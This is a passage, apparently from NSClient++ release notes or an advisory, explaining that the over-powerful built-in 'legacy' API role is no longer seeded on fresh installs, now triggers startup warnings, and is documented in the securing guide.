intended compatibility behaviour for clients that predate the versioned API,
but it was under-documented and more powerful than the role name suggests.
The built-in legacy role is no longer seeded on fresh installs; NSClient++
now logs a SECURITY warning at startup — and from nscp web add-role /
add-user — for any role whose grant includes the legacy token (so a custom
role such as reporting = legacy,login.get is flagged too); and the capability
is documented in the securing guide.
What to do: existing installs are unaffected (the role stays in their
config and keeps working). Only grant legacy to trusted legacy systems that
cannot use the versioned /api/v2/queries endpoints; see
Securing NSClient++.